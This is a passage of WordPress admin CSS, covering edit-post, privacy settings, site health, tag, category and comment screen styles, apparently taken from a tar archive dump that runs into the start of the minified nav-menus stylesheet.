content: "\f318" / ''; position: relative; top: -1px; } #post-body .misc-pub-revisions:before { content: "\f321"; content: "\f321" / ''; } #post-body .misc-pub-response-to:before { content: "\f101"; content: "\f101" / ''; } #timestampdiv { padding-top: 5px; line-height: 1.76923076; } #timestampdiv p { margin: 8px 0 6px; } #timestampdiv input { text-align: center; } .notification-dialog { position: fixed; top: 30%; max-height: 70%; right: 50%; width: 450px; margin-right: -225px; background: #fff; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); line-height: 1.5; z-index: 1000005; overflow-y: auto; } .notification-dialog-background { position: fixed; top: 0; right: 0; left: 0; bottom: 0; background: #000; opacity: 0.7; filter: alpha(opacity=70); z-index: 1000000; } #post-lock-dialog .post-locked-message, #post-lock-dialog .post-taken-over { margin: 25px; } #post-lock-dialog .post-locked-message a.button, #file-editor-warning .button { margin-left: 10px; } #post-lock-dialog .post-locked-avatar { float: right; margin: 0 0 20px 20px; } #post-lock-dialog .wp-tab-first { outline: 0; } #post-lock-dialog .locked-saving img { float: right; margin-left: 3px; } #post-lock-dialog.saving .locked-saving, #post-lock-dialog.saved .locked-saved { display: inline; } #excerpt { display: block; margin: 12px 0 0; height: 4em; width: 100%; } .tagchecklist { margin-right: 14px; font-size: 12px; overflow: auto; } .tagchecklist br { display: none; } .tagchecklist strong { margin-right: -8px; position: absolute; } .tagchecklist > li { float: right; margin-left: 25px; font-size: 13px; line-height: 1.8; cursor: default; max-width: 100%; overflow: hidden; text-overflow: ellipsis; } .tagchecklist .ntdelbutton { position: absolute; width: 24px; height: 24px; border: none; margin: 0 -19px 0 0; padding: 0; background: none; cursor: pointer; text-indent: 0; } #poststuff h3.hndle, /* Back-compat for pre-4.4 */ #poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */ #poststuff h2 { font-size: 14px; padding: 8px 12px; margin: 0; line-height: 1.4; } #poststuff .stuffbox h2 { padding: 8px 10px; } #poststuff .stuffbox > h2 { border-bottom: 1px solid #f0f0f1; } #poststuff .inside { margin: 6px 0 0; } .link-php #poststuff .inside, .link-add-php #poststuff .inside { margin-top: 12px; } #poststuff .stuffbox .inside { margin: 0; } #poststuff .inside #parent_id, #poststuff .inside #page_template { max-width: 100%; } .post-attributes-label-wrapper { margin-bottom: 0.5em; } .post-attributes-label { vertical-align: baseline; font-weight: 600; } #post-visibility-select, #comment-status-radio { line-height: 1.5; margin-top: 3px; } #linksubmitdiv .inside, /* Old Link Manager back-compat. */ #poststuff #submitdiv .inside { margin: 0; padding: 0; } #post-body-content, .edit-form-section { margin-bottom: 20px; } .wp_attachment_details .attachment-content-description { margin-top: 0.5385em; display: inline-block; min-height: 1.6923em; } /** * Privacy Settings section * * Note: This section includes selectors from * Site Health where duplicate styling is used. */ /* General */ .privacy-settings #wpcontent, .privacy-settings.auto-fold #wpcontent, .site-health #wpcontent, .site-health.auto-fold #wpcontent { padding-right: 0; } /* Better position for the WordPress admin notices. */ .privacy-settings .notice, .site-health .notice { margin: 25px 22px 15px 20px; } .privacy-settings .notice ~ .notice, .site-health .notice ~ .notice { margin-top: 5px; } /* Emulates .wrap h1 styling */ .privacy-settings-header h1, .health-check-header h1 { display: inline-block; font-weight: 600; margin: 0 0.8rem 1rem; font-size: 23px; padding: 9px 0 4px; line-height: 1.3; } /* Header */ .privacy-settings-header, .health-check-header { text-align: center; margin: 0 0 1rem; background: #fff; border-bottom: 1px solid #dcdcde; } .privacy-settings-title-section, .health-check-title-section { display: flex; align-items: center; justify-content: center; clear: both; padding-top: 8px; } .privacy-settings-tabs-wrapper { /* IE 11 */ display: -ms-inline-grid; -ms-grid-columns: 1fr 1fr; vertical-align: top; /* modern browsers */ display: inline-grid; grid-template-columns: 1fr 1fr; } .privacy-settings-tab { display: block; /* IE 11 */ text-decoration: none; color: inherit; padding: 0.5rem 1rem 1rem; margin: 0 1rem; transition: box-shadow 0.5s ease-in-out; } .privacy-settings-tab:nth-child(1), .health-check-tab:nth-child(1) { -ms-grid-column: 1; /* IE 11 */ } .privacy-settings-tab:nth-child(2), .health-check-tab:nth-child(2) { -ms-grid-column: 2; /* IE 11 */ } .privacy-settings-tab:focus, .health-check-tab:focus { color: #1d2327; outline: 1px solid #787c82; box-shadow: none; } .privacy-settings-tab.active, .health-check-tab.active { box-shadow: inset 0 -3px var(--wp-admin-theme-color); font-weight: 600; } /* Body */ .privacy-settings-body, .health-check-body { max-width: 800px; margin: 0 auto; } .tools-privacy-policy-page th { min-width: 230px; } .hr-separator { margin-top: 20px; margin-bottom: 15px; } /* Accordions */ .privacy-settings-accordion, .health-check-accordion { border: 1px solid #c3c4c7; } .privacy-settings-accordion-heading, .health-check-accordion-heading { margin: 0; border-top: 1px solid #c3c4c7; font-size: inherit; line-height: inherit; font-weight: 600; color: inherit; } .privacy-settings-accordion-heading:first-child, .health-check-accordion-heading:first-child { border-top: none; } .privacy-settings-accordion-trigger, .health-check-accordion-trigger { background: #fff; border: 0; color: #2c3338; cursor: pointer; display: flex; font-weight: 400; margin: 0; padding: 1em 1.5em 1em 3.5em; min-height: 46px; position: relative; text-align: right; width: 100%; align-items: center; justify-content: space-between; -webkit-user-select: auto; user-select: auto; } .privacy-settings-accordion-trigger:hover, .privacy-settings-accordion-trigger:active, .health-check-accordion-trigger:hover, .health-check-accordion-trigger:active { background: #f6f7f7; } .privacy-settings-accordion-trigger:focus, .health-check-accordion-trigger:focus { color: #1d2327; border: none; box-shadow: none; outline-offset: -1px; outline: 2px solid var(--wp-admin-theme-color); background-color: #f6f7f7; } .privacy-settings-accordion-trigger .title, .health-check-accordion-trigger .title { pointer-events: none; font-weight: 600; flex-grow: 1; } .privacy-settings-accordion-trigger .icon, .privacy-settings-view-read .icon, .health-check-accordion-trigger .icon, .site-health-view-passed .icon { border: solid #50575e; border-width: 0 0 2px 2px; height: 0.5rem; pointer-events: none; position: absolute; left: 1.5em; top: 50%; transform: translateY(-70%) rotate(-45deg); width: 0.5rem; } .privacy-settings-accordion-trigger .badge, .health-check-accordion-trigger .badge { padding: 0.1rem 0.5rem 0.15rem; color: #2c3338; font-weight: 600; } .privacy-settings-accordion-trigger .badge { margin-right: 0.5rem; } .privacy-settings-accordion-trigger .badge.blue, .health-check-accordion-trigger .badge.blue { border: 1px solid var(--wp-admin-theme-color); } .privacy-settings-accordion-trigger .badge.orange, .health-check-accordion-trigger .badge.orange { border: 1px solid #dba617; } .privacy-settings-accordion-trigger .badge.red, .health-check-accordion-trigger .badge.red { border: 1px solid #e65054; } .privacy-settings-accordion-trigger .badge.green, .health-check-accordion-trigger .badge.green { border: 1px solid #00ba37; } .privacy-settings-accordion-trigger .badge.purple, .health-check-accordion-trigger .badge.purple { border: 1px solid #2271b1; } .privacy-settings-accordion-trigger .badge.gray, .health-check-accordion-trigger .badge.gray { border: 1px solid #c3c4c7; } .privacy-settings-accordion-trigger[aria-expanded="true"] .icon, .privacy-settings-view-passed[aria-expanded="true"] .icon, .health-check-accordion-trigger[aria-expanded="true"] .icon, .site-health-view-passed[aria-expanded="true"] .icon { transform: translateY(-30%) rotate(135deg) } .privacy-settings-accordion-panel, .health-check-accordion-panel { margin: 0; padding: 1em 1.5em; background: #fff; } .privacy-settings-accordion-panel[hidden], .health-check-accordion-panel[hidden] { display: none; } .privacy-settings-accordion-panel a .dashicons, .health-check-accordion-panel a .dashicons { text-decoration: none; } .privacy-settings-accordion-actions { justify-content: right; display: flex; align-items: center; flex-wrap: wrap; gap: 1em; } .privacy-settings-accordion-actions .success { display: none; color: #007017; } .privacy-settings-accordion-actions .success.visible { display: inline-block; } /* Suggested text for privacy policy */ .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help, /* For back-compat, see #49282 */ .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial, .privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy { display: none; } .privacy-settings-accordion-panel strong.wp-policy-help, /* For back-compat, see #49282 */ .privacy-settings-accordion-panel strong.privacy-policy-tutorial { display: block; margin: 0 0 1em; } .privacy-text-copy span { pointer-events: none; } .privacy-settings-accordion-panel .wp-suggested-text > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel .wp-suggested-text div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p), .privacy-settings-accordion-panel div > *:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p) { margin: 0; padding: 1em; border-right: 2px solid #787c82; } /* Media queries */ @media screen and (max-width: 782px) { .privacy-settings-body, .health-check-body { margin: 0 12px; width: auto; } .privacy-settings .notice, .site-health .notice { margin: 5px 10px 15px; } .privacy-settings .update-nag, .site-health .update-nag { margin-left: 10px; margin-right: 10px; } input#create-page { margin-top: 10px; } .wp-core-ui button.privacy-text-copy { white-space: normal; line-height: 1.8; } #edit-slug-box { padding: 0; } #editable-post-name input { min-height: 40px; } } @media only screen and (max-width: 1004px) { .privacy-settings-body, .health-check-body { margin: 0 22px; width: auto; } } /** * End Privacy Settings section */ /*------------------------------------------------------------------------------ 11.1 - Custom Fields ------------------------------------------------------------------------------*/ #postcustomstuff thead th { padding: 5px 8px 8px; background-color: #f0f0f1; } #postcustom #postcustomstuff .submit { border: 0 none; float: none; padding: 0 8px 8px; } #postcustom #postcustomstuff .add-custom-field { padding: 12px 8px 8px; } #side-sortables #postcustom #postcustomstuff .submit { margin: 0; padding: 0; } #side-sortables #postcustom #postcustomstuff #the-list textarea { height: 85px; } #side-sortables #postcustom #postcustomstuff td.left input, #side-sortables #postcustom #postcustomstuff td.left select, #side-sortables #postcustomstuff #newmetaleft a { margin: 3px 3px 0; } #postcustomstuff table { margin: 0; width: 100%; border: 1px solid #dcdcde; border-spacing: 0; background-color: #f6f7f7; } #postcustomstuff tr { vertical-align: top; } #postcustomstuff table input, #postcustomstuff table select, #postcustomstuff table textarea { width: 96%; margin: 8px; } #side-sortables #postcustomstuff table input, #side-sortables #postcustomstuff table select, #side-sortables #postcustomstuff table textarea { margin: 3px; } #postcustomstuff th.left, #postcustomstuff td.left { width: 38%; } #postcustomstuff .submit input { margin: 0; width: auto; } #postcustomstuff #newmetaleft a, #postcustomstuff #newmeta-button { display: inline-block; margin: 0 8px 8px; text-decoration: none; } .no-js #postcustomstuff #enternew { display: none; } #post-body-content .compat-attachment-fields { margin-bottom: 20px; } .compat-attachment-fields th { padding-top: 5px; padding-left: 10px; } /*------------------------------------------------------------------------------ 11.3 - Featured Images ------------------------------------------------------------------------------*/ #select-featured-image { padding: 4px 0; overflow: hidden; } #select-featured-image img { max-width: 100%; height: auto; margin-bottom: 10px; } #select-featured-image a { float: right; clear: both; } #select-featured-image .remove { display: none; margin-top: 10px; } .js #select-featured-image.has-featured-image .remove { display: inline-block; } .no-js #select-featured-image .choose { display: none; } /*------------------------------------------------------------------------------ 11.4 - Post formats ------------------------------------------------------------------------------*/ .post-format-icon::before { display: inline-block; vertical-align: middle; height: 20px; width: 20px; margin-top: -4px; margin-left: 7px; color: #dcdcde; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } a.post-format-icon:hover:before { color: #135e96; } #post-formats-select { line-height: 2; } #post-formats-select .post-format-icon::before { top: 5px; } input.post-format { margin-top: 1px; } label.post-format-icon { margin-right: 0; padding: 2px 0; } .post-format-icon.post-format-standard::before { content: "\f109"; content: "\f109" / ''; } .post-format-icon.post-format-image::before { content: "\f128"; content: "\f128" / ''; } .post-format-icon.post-format-gallery::before { content: "\f161"; content: "\f161" / ''; } .post-format-icon.post-format-audio::before { content: "\f127"; content: "\f127" / ''; } .post-format-icon.post-format-video::before { content: "\f126"; content: "\f126" / ''; } .post-format-icon.post-format-chat::before { content: "\f125"; content: "\f125" / ''; } .post-format-icon.post-format-status::before { content: "\f130"; content: "\f130" / ''; } .post-format-icon.post-format-aside::before { content: "\f123"; content: "\f123" / ''; } .post-format-icon.post-format-quote::before { content: "\f122"; content: "\f122" / ''; } .post-format-icon.post-format-link::before { content: "\f103"; content: "\f103" / ''; } /*------------------------------------------------------------------------------ 12.0 - Categories ------------------------------------------------------------------------------*/ .category-adder { margin-right: 120px; padding: 4px 0; } .category-adder h4 { margin: 0 0 8px; } #side-sortables .category-adder { margin: 0; } .wp-tab-panel, .categorydiv div.tabs-panel, .customlinkdiv div.tabs-panel, .posttypediv div.tabs-panel, .taxonomydiv div.tabs-panel { min-height: 42px; max-height: 200px; overflow: auto; padding: 0 0.9em; border: solid 1px #dcdcde; background-color: #fff; } div.tabs-panel-active { display: block; } div.tabs-panel-inactive { display: none; } div.tabs-panel-active:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color, #3858e9); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .options-discussion-php .indent-children ul, #front-page-warning, #front-static-pages ul, ul.export-filters, .inline-editor ul.cat-checklist ul, .categorydiv ul.categorychecklist ul, .customlinkdiv ul.categorychecklist ul, .posttypediv ul.categorychecklist ul, .taxonomydiv ul.categorychecklist ul { margin-right: 18px; } ul.categorychecklist li { margin: 0; padding: 0; line-height: 1.69230769; word-wrap: break-word; } .categorydiv .tabs-panel, .customlinkdiv .tabs-panel, .posttypediv .tabs-panel, .taxonomydiv .tabs-panel { border-width: 3px; border-style: solid; } .form-wrap label { display: block; padding: 2px 0; } .form-field input[type="text"], .form-field input[type="password"], .form-field input[type="email"], .form-field input[type="number"], .form-field input[type="search"], .form-field input[type="tel"], .form-field input[type="url"], .form-field textarea { border-style: solid; border-width: 1px; width: 95%; } .form-field select, .form-field p { max-width: 95%; } p.description, .form-wrap p { margin: 2px 0 5px; color: #646970; } p.help, p.description, span.description, .form-wrap p { font-size: 13px; } p.description code { font-style: normal; } p.description code, .form-wrap p code { color: #50575e; } .form-wrap .form-field { margin: 1em 0; padding: 0; } .col-wrap h2 { margin: 12px 0; font-size: 1.1em; } .col-wrap p.submit { margin-top: -10px; } .edit-term-notes { margin-top: 2em; } /*------------------------------------------------------------------------------ 13.0 - Tags ------------------------------------------------------------------------------*/ #poststuff .tagsdiv .ajaxtag { margin-top: 1em; display: flex; gap: 8px; align-items: center; } #poststuff .tagsdiv .howto { margin: 1em 0 6px; } .ajaxtag .newtag { position: relative; } .tagsdiv .newtag { flex: 1; min-width: 0; } .tagsdiv .the-tags { display: block; height: 60px; margin: 0 auto; overflow: auto; width: 260px; } #post-body-content .tagsdiv .the-tags { margin: 0 5px; } p.popular-tags { border: none; line-height: 2em; padding: 8px 12px 12px; text-align: justify; } p.popular-tags a { padding: 0 3px; } .tagcloud { width: 97%; margin: 0 0 40px; text-align: justify; } .tagcloud h2 { margin: 2px 0 12px; } #poststuff .inside .the-tagcloud { margin: 5px 0 10px; padding: 8px; border: 1px solid #dcdcde; line-height: 1.2; word-spacing: 3px; } .the-tagcloud ul { margin: 0; } .the-tagcloud ul li { display: inline-block; } /* Back-compat styles from deprecated jQuery.suggest, see ticket #40260. */ .ac_results { display: none; margin: -1px 0 0; padding: 0; list-style: none; position: absolute; z-index: 10000; border: 1px solid #4f94d4; background-color: #fff; } .wp-customizer .ac_results { z-index: 500000; } .ac_results li { margin: 0; padding: 5px 10px; white-space: nowrap; text-align: right; } .ac_results .ac_over, .ac_over .ac_match { background-color: #2271b1; color: #fff; cursor: pointer; } .ac_match { text-decoration: underline; } #addtag .spinner { float: none; vertical-align: top; } #edittag { max-width: 800px; } .edit-tag-actions { display: flex; align-items: center; gap: 8px; margin-top: 20px; } /* Comments */ .comment-php .wp-editor-area { height: 200px; } .comment-ays th, .comment-ays td { padding: 10px 15px; } .comment-ays .comment-content ul { list-style: initial; margin-right: 2em; } .comment-ays .comment-content a[href]:after { content: "(" attr( href ) ")"; display: inline-block; padding: 0 4px; color: #646970; font-size: 13px; word-break: break-all; } .comment-ays .comment-content p.edit-comment { margin-top: 10px; } .comment-ays .comment-content p.edit-comment a[href]:after { content: ""; padding: 0; } .comment-ays-submit .button-cancel { margin-right: 1em; } .trash-undo-inside, .spam-undo-inside { margin: 1px 0 1px 8px; line-height: 1.23076923; } .spam-undo-inside .avatar, .trash-undo-inside .avatar { height: 20px; width: 20px; margin-left: 8px; vertical-align: middle; } .stuffbox .editcomment { clear: none; margin-top: 0; } #namediv.stuffbox .editcomment input { width: 100%; } #namediv.stuffbox .editcomment.form-table td { padding: 10px; } #comment-status-radio p { margin: 3px 0 5px; } #comment-status-radio input { margin: 2px 0 5px 3px; vertical-align: middle; } #comment-status-radio label { padding: 5px 0; } /* links tables */ table.links-table { width: 100%; border-spacing: 0; } .links-table th { font-weight: 400; text-align: right; vertical-align: top; min-width: 80px; width: 20%; word-wrap: break-word; } .links-table th, .links-table td { padding: 5px 0; } .links-table td label { margin-left: 8px; } .links-table td input[type="text"], .links-table td textarea { width: 100%; } .links-table #link_rel { max-width: 280px; } /* DFW 2 -------------------------------------------------------------- */ #qt_content_dfw { display: none; } .wp-editor-expand #qt_content_dfw { display: inline-block; } .focus-on .wrap > h1, .focus-on .page-title-action, .focus-on #wpfooter, .focus-on .postbox-container > *, .focus-on div.updated, .focus-on div.error, .focus-on div.notice, .focus-on .update-nag, .focus-on #wp-toolbar, .focus-on #screen-meta-links, .focus-on #screen-meta { opacity: 0; transition-duration: 0.6s; transition-property: opacity; transition-timing-function: ease-in-out; } .focus-on #wp-toolbar { opacity: 0.3; } .focus-off .wrap > h1, .focus-off .page-title-action, .focus-off #wpfooter, .focus-off .postbox-container > *, .focus-off div.updated, .focus-off div.error, .focus-off div.notice, .focus-off .update-nag, .focus-off #wp-toolbar, .focus-off #screen-meta-links, .focus-off #screen-meta { opacity: 1; transition-duration: 0.2s; transition-property: opacity; transition-timing-function: ease-in-out; } .focus-off #wp-toolbar { -webkit-transform: translate(0, 0); } .focus-on #adminmenuback, .focus-on #adminmenuwrap { transition-duration: 0.6s; transition-property: transform; transition-timing-function: ease-in-out; } .focus-on #adminmenuback, .focus-on #adminmenuwrap { transform: translateX( 100% ); } .focus-off #adminmenuback, .focus-off #adminmenuwrap { transform: translateX( 0 ); transition-duration: 0.2s; transition-property: transform; transition-timing-function: ease-in-out; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { #content-resize-handle, #post-body .wp_themeSkin .mceStatusbar a.mceResize { background: transparent url(../images/resize-2x.gif) no-repeat scroll left bottom; background-size: 11px 11px; } /*rtl:ignore*/ .rtl #content-resize-handle, .rtl #post-body .wp_themeSkin .mceStatusbar a.mceResize { background-image: url(../images/resize-rtl-2x.gif); background-position: left bottom; } } /* * The edit attachment screen auto-switches to one column layout when the * viewport is smaller than 1200 pixels. */ @media only screen and (max-width: 1200px) { .post-type-attachment #poststuff { min-width: 0; } .post-type-attachment #wpbody-content #poststuff #post-body { margin: 0; } .post-type-attachment #wpbody-content #post-body.columns-2 #postbox-container-1 { margin-left: 0; width: 100%; } .post-type-attachment #poststuff #postbox-container-1 .empty-container, .post-type-attachment #poststuff #postbox-container-1 #side-sortables:empty { outline: none; height: 0; min-height: 0; } .post-type-attachment #poststuff #post-body.columns-2 #side-sortables { min-height: 0; width: auto; } .is-dragging-metaboxes.post-type-attachment #post-body .meta-box-sortables { border: none; background: transparent; min-height: 0; margin-bottom: 0; } /* hide the radio buttons for column prefs */ .post-type-attachment .screen-layout, .post-type-attachment .columns-prefs { display: none; } } /* one column on the post write/edit screen */ @media only screen and (max-width: 850px) { #poststuff { min-width: 0; } #wpbody-content #poststuff #post-body { margin: 0; } #wpbody-content #post-body.columns-2 #postbox-container-1 { margin-left: 0; width: 100%; } #poststuff #postbox-container-1 .empty-container, #poststuff #postbox-container-1 #side-sortables:empty { height: 0; min-height: 0; } #poststuff #post-body.columns-2 #side-sortables { min-height: 0; width: auto; } /* Increase min-height while dragging for the #side-sortables and any potential sortables area with custom ID. */ .is-dragging-metaboxes #poststuff #postbox-container-1 .empty-container, .is-dragging-metaboxes #poststuff #postbox-container-1 #side-sortables:empty, .is-dragging-metaboxes #poststuff #post-body.columns-2 #side-sortables, .is-dragging-metaboxes #poststuff #post-body.columns-2 .meta-box-sortables { height: auto; min-height: 60px; } /* hide the radio buttons for column prefs */ .screen-layout, .columns-prefs { display: none; } } @media screen and (max-width: 782px) { .wp-core-ui .edit-tag-actions .button-primary { margin-bottom: 0; } #post-body-content { min-width: 0; } #titlediv #title-prompt-text { padding: 10px; } #poststuff .stuffbox .inside { padding: 0 0 4px 2px; } #poststuff h3.hndle, /* Back-compat for pre-4.4 */ #poststuff .stuffbox > h3, /* Back-compat for pre-4.4 */ #poststuff h2 { padding: 12px; } #namediv.stuffbox .editcomment.form-table td { padding: 5px 10px; } .post-format-options { padding-left: 0; } .post-format-options a { margin-left: 5px; margin-bottom: 5px; min-width: 52px; } .post-format-options .post-format-title { font-size: 11px; } .post-format-options a div { height: 28px; width: 28px; } .post-format-options a div:before { font-size: 26px !important; } /* Publish Metabox Options */ #post-visibility-select { line-height: 280%; } .wp-core-ui .save-post-visibility, .wp-core-ui .save-timestamp { vertical-align: middle; margin-left: 15px; } .timestamp-wrap select#mm { display: block; width: 100%; margin-bottom: 10px; } .timestamp-wrap #jj, .timestamp-wrap #aa, .timestamp-wrap #hh, .timestamp-wrap #mn { padding: 12px 3px; font-size: 14px; margin-bottom: 5px; width: auto; text-align: center; } /* Categories Metabox */ ul.category-tabs { margin: 30px 0 15px; } ul.category-tabs li.tabs { padding: 15px; } ul.categorychecklist li { margin-bottom: 15px; } ul.categorychecklist ul { margin-top: 15px; } .category-add input[type=text], .category-add select { max-width: none; margin-bottom: 15px; } /* Tags Metabox */ .tagsdiv .newtag { flex: 1; min-width: 0; height: auto; margin-bottom: 0; } .tagchecklist { margin: 25px 10px; } .tagchecklist > li { font-size: 16px; line-height: 1.4; } /* Discussion */ #commentstatusdiv p { line-height: 2.8; } /* TinyMCE Adjustments */ .mceToolbar * { white-space: normal !important; } .mceToolbar tr, .mceToolbar td { float: right !important; } .wp_themeSkin a.mceButton { width: 30px; height: 30px; } .wp_themeSkin .mceButton .mceIcon { margin-top: 5px; margin-right: 5px; } .wp_themeSkin .mceSplitButton { margin-top: 1px; } .wp_themeSkin .mceSplitButton td a.mceAction { padding: 6px 6px 6px 3px; } .wp_themeSkin .mceSplitButton td a.mceOpen, .wp_themeSkin .mceSplitButtonEnabled:hover td a.mceOpen { padding-top: 6px; padding-bottom: 6px; background-position: 1px 6px; } .wp_themeSkin table.mceListBox { margin: 5px; } div.quicktags-toolbar input { padding: 10px 20px; } button.wp-switch-editor { font-size: 16px; line-height: 1; margin: 7px 7px 0 0; padding: 8px 12px; } #wp-content-media-buttons a { font-size: 14px; padding: 6px 10px; } .wp-media-buttons span.wp-media-buttons-icon, .wp-media-buttons span.jetpack-contact-form-icon { width: 22px !important; margin-right: -2px !important; } .wp-media-buttons .add_media span.wp-media-buttons-icon:before, .wp-media-buttons #insert-jetpack-contact-form span.jetpack-contact-form-icon:before { font-size: 20px !important; } #content_wp_fullscreen { display: none; } .misc-pub-section { padding: 12px 10px; } #delete-action, #publishing-action { line-height: 3.61538461; } #publishing-action .spinner { float: none; margin-top: -2px; /* Half of the Publish button's bottom margin. */ } /* Moderate Comment */ .comment-ays th, .comment-ays td { padding-bottom: 0; } .comment-ays td { padding-top: 6px; } /* Links */ .links-table #link_rel { max-width: none; } .links-table th, .links-table td { padding: 10px 0; } .edit-term-notes { display: none; } .privacy-text-box { width: auto; } .privacy-text-box-toc { float: none; width: auto; height: 100%; display: flex; flex-direction: column; } .privacy-text-section .return-to-top { margin: 2em 0 0; } } css/nav-menus.min.css 0000644 00000033734 15233246127 0010560 0 ustar 00 /*! This file is auto-generated */ .no-js #message{display:block}ul.add-menu-item-tabs li{padding:3px 5px 4px 8px}.accordion-section ul.add-menu-item-tabs,.accordion-section ul.category-tabs,.accordion-section ul.wp-tab-bar{margin:0}.accordion-section .categorychecklist{margin:13px 0}#nav-menu-meta .accordion-section-content{padding:18px 13px;resize:vertical}#nav-menu-meta .button-controls{margin-bottom:0}.has-no-menu-item .button-controls{display:none}#nav-menus-frame{margin-left:300px;margin-top:23px}#wpbody-content #menu-settings-column{display:inline;width:281px;margin-left:-300px;clear:both;float:left;padding-top:0}#menu-settings-column .inside{clear:both;margin:10px 0 0;height:100%;max-height:inherit}#menu-settings-column .categorydiv,#menu-settings-column .customlinkdiv,#menu-settings-column .posttypediv,#menu-settings-column .taxonomydiv{max-height:inherit;height:100%}#menu-settings-column .categorydiv div.tabs-panel,#menu-settings-column .customlinkdiv div.tabs-panel,#menu-settings-column .posttypediv div.tabs-panel,#menu-settings-column .taxonomydiv div.tabs-panel,#menu-settings-column .wp-tab-panel{max-height:calc(100% - 75px);height:100%}.metabox-holder-disabled .accordion-section-content,.metabox-holder-disabled .accordion-section-title,.metabox-holder-disabled .postbox{opacity:.5}.metabox-holder-disabled .button-controls .select-all{display:none}#wpbody{position:relative}.is-submenu{color:#50575e;font-style:italic;font-weight:400;margin-left:4px}.manage-menus{margin-top:23px;padding:10px;overflow:hidden;background:#fff}.manage-menus .selected-menu,.manage-menus .submit-btn,.manage-menus select,.nav-menus-php .add-new-menu-action{display:inline-block;margin-right:3px;vertical-align:middle}.manage-menus select,.menu-location-menus select{max-width:100%}.menu-edit #post-body-content h3{margin:1em 0 10px}#nav-menu-bulk-actions-top{margin:1em 0}#nav-menu-bulk-actions-bottom{margin:1em 0;margin:calc(1em + 9px) 0}.bulk-actions input.button{margin-right:12px}.bulk-select-button{position:relative;display:inline-block;padding:0 10px;font-size:13px;line-height:2.15384615;height:auto;min-height:30px;background:#f6f7f7;vertical-align:top;border:1px solid #dcdcde;margin:0;cursor:pointer;border-radius:3px;white-space:nowrap;box-sizing:border-box}.bulk-selection .bulk-select-button{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}#pending-menu-items-to-delete{display:none}.bulk-selection #pending-menu-items-to-delete{display:block;margin-top:1em}#pending-menu-items-to-delete p{margin-bottom:0}#pending-menu-items-to-delete ul{margin-top:0;list-style:none}#pending-menu-items-to-delete ul li{display:inline}input.bulk-select-switcher+.bulk-select-button-label{vertical-align:inherit}label.bulk-select-button:active,label.bulk-select-button:focus-within,label.bulk-select-button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}input.bulk-select-switcher:focus+.bulk-select-button-label{color:#0a4b78}.bulk-actions input.menu-items-delete{appearance:none;font-size:inherit;border:0;line-height:2.1em;background:0 0;cursor:pointer;text-decoration:underline;color:#b32d2e}.bulk-actions input.menu-items-delete:hover{color:#b32d2e;border:none}.bulk-actions input.menu-items-delete.disabled{display:none}.menu-settings{border-top:1px solid #f0f0f1;margin-top:2em}.menu-settings-group{margin:0 0 10px;padding-left:20%}.menu-settings-group:last-of-type{margin-bottom:0}.menu-settings-input{float:left;margin:0;width:100%}.menu-settings-group-name{float:left;clear:both;width:25%;padding:3px 0 0;margin-left:-25%}.menu-settings label{vertical-align:baseline}.menu-edit .checkbox-input{margin-top:4px}.theme-location-set{color:#646970;font-size:11px}#menu-management-liquid{float:left;min-width:100%;margin-top:3px}#menu-management{position:relative;margin-right:20px;margin-top:-3px;width:100%}#menu-management .menu-edit{margin-bottom:20px}.nav-menus-php #post-body{padding:0 10px;border-top:1px solid #fff;border-bottom:1px solid #dcdcde;background:#fff}#nav-menu-footer,#nav-menu-header{padding:0 10px;background:#f6f7f7}#nav-menu-header{border-bottom:1px solid #dcdcde;margin-bottom:0}#nav-menu-header .menu-name-label{display:inline-block;vertical-align:middle;margin-right:7px}.nav-menus-php #post-body div.error,.nav-menus-php #post-body div.updated{margin:0}.nav-menus-php #post-body-content{position:relative;float:none}.nav-menus-php #post-body-content .post-body-plain{margin-bottom:0}#menu-management .menu-add-new abbr{font-weight:600}#select-nav-menu-container{text-align:right;padding:0 10px 3px;margin-bottom:5px}#select-nav-menu{width:100px;display:inline}#menu-name-label{margin-top:-2px}.widefat .menu-locations .menu-location-title{padding:13px 10px 0}.menu-location-title label{font-weight:600}.menu-location-menus select{float:left}#locations-nav-menu-wrapper{padding:5px 0}.locations-nav-menu-select select{float:left;width:160px;margin-right:5px}.locations-row-links{float:left;margin:6px 0 0 6px}.locations-add-menu-link,.locations-edit-menu-link{margin:0 3px}.locations-edit-menu-link{padding-right:3px;border-right:1px solid #c3c4c7}#menu-management .inside{padding:0 10px}.postbox .howto input{width:180px;float:right}.accordion-container .outer-border{margin:0}.customlinkdiv p{margin-top:0}#nav-menu-theme-locations .howto select{width:100%}#nav-menu-theme-locations .button-controls{text-align:right}.add-menu-item-view-all{height:400px}#menu-container .submit{margin:0 0 10px;padding:0}#cancel-save{text-decoration:underline;font-size:12px;margin-left:20px;margin-top:5px}.button-primary.right,.button-secondary.right,.button.right{float:right}.list-controls{float:left}.add-to-menu{float:right}.button-controls{clear:both;margin:10px 0}.hide-all,.show-all{cursor:pointer}.hide-all{display:none}#menu-name{width:270px;vertical-align:middle}#manage-menu .inside{padding:0}#available-links dt{display:block}#add-custom-link .howto{font-size:12px}#add-custom-link label span{display:block;float:left;margin-top:5px;padding-right:5px}.menu-item-textbox{width:180px}.customlinkdiv .menu-item-textbox{width:100%}.nav-menus-php .howto 